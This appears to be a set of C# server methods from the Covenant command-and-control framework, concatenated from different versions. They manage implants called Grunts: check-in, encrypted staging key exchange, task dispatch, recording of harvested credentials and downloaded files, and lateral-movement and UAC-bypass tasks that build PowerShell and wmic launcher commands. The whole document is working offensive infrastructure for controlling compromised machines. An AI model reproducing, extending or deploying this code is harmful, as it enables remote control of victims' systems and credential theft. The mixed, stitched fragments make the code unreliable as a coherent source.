public async Task <ActionResult <string> > Get() { try { this.SetHeaders(); string guid = this.GetGuid(); if (string.IsNullOrEmpty(guid)) { // Invalid GUID. May not be legitimate Grunt request, respond Ok return(Ok()); } Grunt grunt = null; try { grunt = await _client.ApiGruntsGuidByGuidGetAsync(guid); } catch (HttpOperationException) { grunt = null; } if (grunt == null || grunt.Status != GruntStatus.Active) { // Invalid GUID. May not be legitimate Grunt request, respond Ok return(Ok()); } grunt.LastCheckIn = DateTime.UtcNow; await _client.ApiGruntsPutAsync(grunt); GruntTasking gruntTasking = (await _client.ApiGruntsByIdTaskingsSearchUninitializedGetAsync(grunt.Id ?? default)).FirstOrDefault(); if (gruntTasking == null) { // No GruntTasking assigned. Respond with empty template return(Ok(this.GetGetEmptyResponse())); } if (gruntTasking.Type == GruntTaskingType.Assembly && gruntTasking.GruntTask == null) { // Can't find corresponding task. Should never reach this point. Will just respond NotFound. return(NotFound()); } gruntTasking.Status = GruntTaskingStatus.Tasked; gruntTasking.TaskingTime = DateTime.UtcNow; gruntTasking = await _client.ApiTaskingsPutAsync(gruntTasking); gruntTasking.Grunt = gruntTasking.GruntId == grunt.Id ? grunt : await _client.ApiGruntsByIdGetAsync(gruntTasking.GruntId); ModelUtilities.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(grunt, gruntTasking.Grunt, this.GetGruntTaskingMessage(gruntTasking, gruntTasking.Grunt.DotNetFrameworkVersion)); } catch (HttpOperationException) { gruntTasking.Status = GruntTaskingStatus.Aborted; await _client.ApiTaskingsPutAsync(gruntTasking); return(NotFound()); } // Transform response string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed); return(Ok(response)); } catch (HttpOperationException) { return(NotFound()); } catch (Exception) { return(NotFound()); } }
private async Task <ActionResult> PostStage0(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntStage0Response) { if (targetGrunt == null || !gruntStage0Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } bool egressGruntExists = egressGrunt != null; string guid = gruntStage0Response.GUID.Substring(10); if (targetGrunt.Status != GruntStatus.Uninitialized) { // We create a new Grunt if this one is not uninitialized Grunt tempModel = new Grunt { Id = 0, Name = Utilities.CreateShortGuid(), Guid = guid, OriginalServerGuid = Utilities.CreateShortGuid(), Status = GruntStatus.Stage0, ListenerId = targetGrunt.ListenerId, Listener = targetGrunt.Listener, GruntSharedSecretPassword = targetGrunt.GruntSharedSecretPassword, CommType = targetGrunt.CommType, SmbPipeName = targetGrunt.SmbPipeName, Delay = targetGrunt.Delay, JitterPercent = targetGrunt.JitterPercent, KillDate = targetGrunt.KillDate, ConnectAttempts = targetGrunt.ConnectAttempts, DotNetFrameworkVersion = targetGrunt.DotNetFrameworkVersion, LastCheckIn = DateTime.UtcNow }; targetGrunt = await _client.ApiGruntsPostAsync(tempModel); } else { targetGrunt.Status = GruntStatus.Stage0; targetGrunt.Guid = guid; targetGrunt.LastCheckIn = DateTime.UtcNow; targetGrunt = await _client.ApiGruntsPutAsync(targetGrunt); } if (!egressGruntExists) { egressGrunt = targetGrunt; } // EncryptedMessage is the RSA Public Key targetGrunt.GruntRSAPublicKey = Convert.ToBase64String(EncryptUtilities.AesDecrypt( gruntStage0Response, Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword) )); // Generate negotiated session key Aes newAesKey = Aes.Create(); newAesKey.GenerateKey(); targetGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key); await _client.ApiGruntsPutAsync(targetGrunt); if (egressGruntExists) { // Add this as Child grunt to Grunt that connects it List <GruntTasking> taskings = _client.ApiTaskingsGet().ToList(); // TODO: Finding the connectTasking this way could cause race conditions, should fix w/ guid of some sort? GruntTasking connectTasking = taskings.Where(GT => GT.Type == GruntTaskingType.Connect && GT.Status == GruntTaskingStatus.Progressed).Reverse().FirstOrDefault(); if (connectTasking == null) { return(NotFound()); } GruntTaskingMessage tmessage = this.GetGruntTaskingMessage(connectTasking, targetGrunt.DotNetFrameworkVersion); targetGrunt.Hostname = tmessage.Message.Split(",")[0]; await _client.ApiGruntsPutAsync(targetGrunt); connectTasking.Status = GruntTaskingStatus.Completed; await _client.ApiTaskingsPutAsync(connectTasking); } byte[] rsaEncryptedBytes = EncryptUtilities.GruntRSAEncrypt(targetGrunt, Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)); ModelUtilities.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, rsaEncryptedBytes); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed); // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)" return(Ok(response)); }
// post task private ActionResult PostTask(Covenant.Models.Grunts.GruntEncryptedMessage outputMessage) { string cookie = this.GetCookie(); API.Models.Grunt gruntModel = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie); if (gruntModel == null || gruntModel.Status != GruntStatus.Active) { // Invalid CookieAuthKey. May not be legitimate Grunt request, respond NotFound return(NotFound()); } string TaskName = outputMessage.Meta; GruntTasking gruntTasking = CovenantClient.ApiGruntsByIdTaskingsByTasknameGet(gruntModel.Id ?? default, TaskName); if (gruntTasking == null || gruntModel.Id != gruntTasking.GruntId) { // Invalid taskname. May not be legitimate Grunt request, respond NotFound return(NotFound()); } var realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel); if (realGrunt == null || realGrunt.Status != Covenant.Models.Grunts.Grunt.GruntStatus.Active) { // Invalid Grunt. May not be legitimate Grunt request, respond NotFound return(NotFound()); } if (!outputMessage.VerifyHMAC(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey))) { // Invalid signature. Almost certainly not a legitimate Grunt request, responsd NotFound return(NotFound()); } string taskOutput = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(outputMessage)); gruntTasking.GruntTaskOutput = taskOutput; gruntTasking.Status = GruntTaskingStatus.Completed; if (gruntTasking.Type == GruntTaskingType.Kill) { gruntModel.Status = GruntStatus.Killed; CovenantClient.ApiGruntsPut(gruntModel); } CovenantClient.ApiGruntsByIdTaskingsByTasknamePut(gruntTasking.GruntId ?? default, gruntTasking.Name, gruntTasking); GruntTask DownloadTask = CovenantClient.ApiGruntTasksGet().FirstOrDefault(GT => GT.Name == "Download"); if (gruntTasking.TaskId == DownloadTask.Id) { CovenantClient.ApiEventsPost(new EventModel { Message = "Grunt: " + realGrunt.Name + " has completed GruntTasking: " + gruntTasking.Name, Level = EventLevel.Highlight, Context = realGrunt.Name }); string FileName = Common.CovenantEncoding.GetString(Convert.FromBase64String(gruntTasking.GruntTaskingAssembly.Split(",")[1])); CovenantClient.ApiEventsDownloadPost(new DownloadEvent { Message = "Downloaded: " + FileName + "\r\n" + "Syncing to Elite...", Level = EventLevel.Info, Context = realGrunt.Name, FileName = FileName, FileContents = gruntTasking.GruntTaskOutput, Progress = DownloadProgress.Complete }); } else { CovenantClient.ApiEventsPost(new EventModel { Message = "Grunt: " + realGrunt.Name + " has completed GruntTasking: " + gruntTasking.Name, Level = EventLevel.Highlight, Context = realGrunt.Name }); CovenantClient.ApiEventsPost(new EventModel { Message = gruntTasking.GruntTaskOutput, Level = EventLevel.Info, Context = realGrunt.Name }); } return(Ok()); }
public Task <GruntTasking> CreateGruntTasking(GruntTasking tasking) { return(_connection.InvokeAsync <GruntTasking>("CreateGruntTasking", tasking)); }
public ActionResult <GruntTasking> EditGruntTasking(int id, int tid, [FromBody] GruntTasking gruntTasking) { Grunt grunt = _context.Grunts.FirstOrDefault(G => G.Id == id); if (grunt == null) { return(NotFound($"NotFound - Grunt with id: {id}")); } GruntTasking updatingGruntTasking = _context.GruntTaskings.FirstOrDefault(GT => grunt.Id == GT.GruntId && tid == GT.Id); if (updatingGruntTasking == null) { return(NotFound($"NotFound - GruntTasking with id: {tid}")); } GruntTask gruntTask = _context.GruntTasks.FirstOrDefault(G => G.Id == gruntTasking.TaskId); if (gruntTask == null) { return(NotFound($"NotFound - GruntTask with id: {gruntTasking.TaskId}")); } GruntTask DownloadTask = _context.GruntTasks.FirstOrDefault(GT => GT.Name == "Download"); if (DownloadTask == null) { return(NotFound($"NotFound - GruntTask DownloadTask")); } List <CapturedCredential> capturedCredentials = CapturedCredential.ParseCredentials(gruntTasking.GruntTaskOutput); foreach (CapturedCredential cred in capturedCredentials) { if (!ContextContainsCredentials(cred)) { _context.Credentials.Add(cred); _context.SaveChanges(); } } GruntTaskingStatus newStatus = gruntTasking.Status; GruntTaskingStatus originalStatus = updatingGruntTasking.Status; if ((originalStatus == GruntTaskingStatus.Tasked || originalStatus == GruntTaskingStatus.Progressed) && newStatus == GruntTaskingStatus.Completed) { if (gruntTasking.Type == GruntTaskingType.Kill) { grunt.Status = Grunt.GruntStatus.Killed; } else if (gruntTasking.Type == GruntTaskingType.SetDelay || gruntTasking.Type == GruntTaskingType.SetJitter || gruntTasking.Type == GruntTaskingType.SetConnectAttempts) { bool parsed = int.TryParse(gruntTasking.TaskingMessage, out int n); if (parsed) { if (gruntTasking.Type == GruntTaskingType.SetDelay) { grunt.Delay = n; } else if (gruntTasking.Type == GruntTaskingType.SetJitter) { grunt.JitterPercent = n; } else if (gruntTasking.Type == GruntTaskingType.SetConnectAttempts) { grunt.ConnectAttempts = n; } } } else if (gruntTasking.Type == GruntTaskingType.Connect) { if (originalStatus == GruntTaskingStatus.Tasked) { // Check if this Grunt was already connected string hostname = gruntTasking.GruntTaskingMessage.Message.Split(",")[0]; string pipename = gruntTasking.GruntTaskingMessage.Message.Split(",")[1]; Grunt previouslyConnectedGrunt = _context.Grunts.FirstOrDefault(G => G.CommType == Grunt.CommunicationType.SMB && (G.IPAddress == hostname || G.Hostname == hostname) && G.SMBPipeName == pipename && (G.Status == Grunt.GruntStatus.Disconnected || G.Status == Grunt.GruntStatus.Lost || G.Status == Grunt.GruntStatus.Active) ); if (previouslyConnectedGrunt != null) { if (previouslyConnectedGrunt.Status != Grunt.GruntStatus.Disconnected) { // If already connected, disconnect to avoid cycles Grunt previouslyConnectedGruntPrevParent = null; foreach (Grunt g in _context.Grunts) { if (g.Children.Contains(previouslyConnectedGrunt.GUID)) { previouslyConnectedGruntPrevParent = g; } } if (previouslyConnectedGruntPrevParent != null) { previouslyConnectedGruntPrevParent.RemoveChild(previouslyConnectedGrunt); _context.Grunts.Update(previouslyConnectedGruntPrevParent); } } // Connect to tasked Grunt, no need to "Progress", as Grunt is already staged grunt.AddChild(previouslyConnectedGrunt); previouslyConnectedGrunt.Status = Grunt.GruntStatus.Active; _context.Grunts.Update(previouslyConnectedGrunt); } else { // If not already connected, the Grunt is going to stage, set status to Progressed newStatus = GruntTaskingStatus.Progressed; } } else if (originalStatus == GruntTaskingStatus.Progressed) { // Connecting Grunt has staged, add as Child string hostname = gruntTasking.GruntTaskingMessage.Message.Split(",")[0]; string pipename = gruntTasking.GruntTaskingMessage.Message.Split(",")[1]; Grunt stagingGrunt = _context.Grunts.FirstOrDefault(G => G.CommType == Grunt.CommunicationType.SMB && ((G.IPAddress == hostname || G.Hostname == hostname) || (G.IPAddress == "" && G.Hostname == "")) && G.SMBPipeName == pipename && G.Status == Grunt.GruntStatus.Stage0 ); if (stagingGrunt == null) { return(NotFound($"NotFound - Grunt staging from {hostname}:{pipename}")); } grunt.AddChild(stagingGrunt); } } else if (gruntTasking.Type == GruntTaskingType.Disconnect) { Grunt disconnectFromGrunt = _context.Grunts.FirstOrDefault(G => G.GUID == gruntTasking.GruntTaskingMessage.Message); if (disconnectFromGrunt == null) { return(NotFound($"NotFound - Grunt with GUID: {gruntTasking.GruntTaskingMessage.Message}")); } disconnectFromGrunt.Status = Grunt.GruntStatus.Disconnected; _context.Grunts.Update(disconnectFromGrunt); grunt.RemoveChild(disconnectFromGrunt); } } if ((newStatus == GruntTaskingStatus.Completed || newStatus == GruntTaskingStatus.Progressed) && originalStatus != newStatus) { if (newStatus == GruntTaskingStatus.Completed) { updatingGruntTasking.CompletionTime = DateTime.UtcNow; } string verb = newStatus == GruntTaskingStatus.Completed ? "completed" : "progressed"; if (gruntTasking.TaskId == DownloadTask.Id) { _context.Events.Add(new Event { Time = updatingGruntTasking.CompletionTime, MessageHeader = "[" + updatingGruntTasking.CompletionTime + " UTC] Grunt: " + grunt.Name + " has " + verb + " GruntTasking: " + gruntTasking.Name, Level = Event.EventLevel.Highlight, Context = grunt.Name }); string FileName = Common.CovenantEncoding.GetString(Convert.FromBase64String(gruntTasking.TaskingMessage.Split(",")[1])); DownloadEvent downloadEvent = new DownloadEvent { Time = updatingGruntTasking.CompletionTime, MessageHeader = "Downloaded: " + FileName + "\r\n" + "Syncing to Elite...", Level = Event.EventLevel.Highlight, Context = grunt.Name, FileName = FileName, FileContents = gruntTasking.GruntTaskOutput, Progress = DownloadEvent.DownloadProgress.Complete }; downloadEvent.WriteToDisk(); _context.Events.Add(downloadEvent); } else { _context.Events.Add(new Event { Time = updatingGruntTasking.CompletionTime, MessageHeader = "[" + updatingGruntTasking.CompletionTime + " UTC] Grunt: " + grunt.Name + " has " + verb + " GruntTasking: " + gruntTasking.Name, MessageBody = "(" + gruntTasking.TaskingUser + ") > " + gruntTasking.TaskingCommand + Environment.NewLine + gruntTasking.GruntTaskOutput, Level = Event.EventLevel.Highlight, Context = grunt.Name }); } } updatingGruntTasking.Status = newStatus; updatingGruntTasking.GruntTaskOutput = gruntTasking.GruntTaskOutput; _context.GruntTaskings.Update(updatingGruntTasking); _context.Grunts.Update(grunt); _context.SaveChanges(); return(updatingGruntTasking); }
public ActionResult <GruntTasking> CreateGruntTasking(int id, [FromBody] GruntTasking gruntTasking) { Grunt grunt = _context.Grunts.FirstOrDefault(G => G.Id == id); if (grunt == null) { return(NotFound($"NotFound - Grunt with id: {id}")); } CovenantUser taskingUser = this.GetCurrentUser(); if (taskingUser == null) { return(NotFound($"NotFound - CovenantUser")); } gruntTasking.TaskingUser = taskingUser.UserName; gruntTasking.TaskingTime = DateTime.UtcNow; if (gruntTasking.Type == GruntTaskingType.Assembly) { GruntTask task = _context.GruntTasks.Include(T => T.Options).FirstOrDefault(T => T.Id == gruntTasking.TaskId); if (task == null) { return(NotFound($"NotFound - GruntTask with id: {gruntTasking.TaskId}")); } List <string> parameters = task.Options.Select(O => O.Value).ToList(); if (task.Name.ToLower() == "wmigrunt") { Launcher l = _context.Launchers.FirstOrDefault(L => L.Name.ToLower() == parameters[1].ToLower()); if (l == null || l.LauncherString == null || l.LauncherString.Trim() == "") { return(NotFound($"NotFound - Launcher with name: {parameters[1]}")); } else { parameters[1] = l.LauncherString; } } else if (task.Name.ToLower() == "dcomgrunt") { Launcher l = _context.Launchers.FirstOrDefault(L => L.Name.ToLower() == parameters[1].ToLower()); if (l == null || l.LauncherString == null || l.LauncherString.Trim() == "") { return(NotFound($"NotFound - Launcher with name: {parameters[1]}")); } else { // Add .exe exetension if needed List <string> split = l.LauncherString.Split(" ").ToList(); parameters[1] = split.FirstOrDefault(); if (!parameters[1].EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) { parameters[1] += ".exe"; } // Add command parameters split.RemoveAt(0); parameters.Insert(2, String.Join(" ", split.ToArray())); string Directory = "C:\\WINDOWS\\System32\\"; if (parameters[1].Equals("powershell.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "WindowsPowerShell\\v1.0\\"; } else if (parameters[1].Equals("wmic.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "wbem\\"; } parameters.Insert(3, Directory); } } else if (task.Name.ToLower() == "dcomcommand") { // Add .exe exetension if needed List <string> split = parameters[1].Split(" ").ToList(); parameters[1] = split[0]; if (!parameters[1].EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) { parameters[1] += ".exe"; } // Add command parameters split.RemoveAt(0); parameters.Insert(2, String.Join(" ", split.ToArray())); string Directory = "C:\\WINDOWS\\System32\\"; if (parameters[1].Equals("powershell.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "WindowsPowerShell\\v1.0\\"; } else if (parameters[1].Equals("wmic.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "wbem\\"; } parameters.Insert(3, Directory); } else if (task.Name.ToLower() == "bypassuacgrunt") { Launcher l = _context.Launchers.FirstOrDefault(L => L.Name.ToLower() == parameters[0].ToLower()); if (l == null || l.LauncherString == null || l.LauncherString.Trim() == "") { return(NotFound($"NotFound - Launcher with name: {parameters[0]}")); } else { // Add .exe exetension if needed string[] split = l.LauncherString.Split(" "); if (!parameters[0].EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) { parameters[0] += ".exe"; } // Add parameters need for BypassUAC Task string ArgParams = String.Join(" ", split.ToList().GetRange(1, split.Count() - 1)); string Directory = "C:\\WINDOWS\\System32\\"; if (parameters[0].Equals("powershell.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "WindowsPowerShell\\v1.0\\"; } else if (parameters[0].Equals("wmic.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "wbem\\"; } parameters.Add(ArgParams); parameters.Add(Directory); parameters.Add("0"); } } else if (task.Name.ToLower() == "bypassuaccommand") { // Add .exe exetension if needed string[] split = parameters[0].Split(" "); if (!parameters[0].EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) { parameters[0] += ".exe"; } // Add parameters need for BypassUAC Task string ArgParams = String.Join(" ", split.ToList().GetRange(1, split.Count() - 1)); string Directory = "C:\\WINDOWS\\System32\\"; if (parameters[0].Equals("powershell.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "WindowsPowerShell\\v1.0\\"; } else if (parameters[0].Equals("wmic.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "wbem\\"; } parameters.Add(ArgParams); parameters.Add(Directory); parameters.Add("0"); } try { gruntTasking.Compile(task, grunt, parameters); } catch (Exception e) { Console.Error.WriteLine("Task Compilation failed: " + e.Message + e.StackTrace); return(BadRequest("Task returned compilation errors:" + e.Message + e.StackTrace)); } } else if (gruntTasking.Type == GruntTaskingType.Connect) { string hostname = gruntTasking.GruntTaskingMessage.Message.Split(",")[0]; string pipename = gruntTasking.GruntTaskingMessage.Message.Split(",")[1]; if (hostname == "localhost" || hostname == "127.0.0.1") { hostname = grunt.Hostname; } gruntTasking.TaskingMessage = hostname + "," + pipename; } _context.GruntTaskings.Add(gruntTasking); _context.Events.Add(new Event { Time = gruntTasking.TaskingTime, MessageHeader = "[" + gruntTasking.TaskingTime + " UTC] Grunt: " + grunt.Name + " has " + "been assigned GruntTasking: " + gruntTasking.Name, MessageBody = "(" + gruntTasking.TaskingUser + ") > " + gruntTasking.TaskingCommand, Level = Event.EventLevel.Highlight, Context = grunt.Name }); _context.SaveChanges(); return(CreatedAtRoute(nameof(GetGruntTasking), new { id = id, tid = gruntTasking.Id }, gruntTasking)); }
public Task <GruntTasking> EditGruntTasking(GruntTasking tasking) { return(_connection.InvokeAsync <GruntTasking>("EditGruntTasking", tasking)); }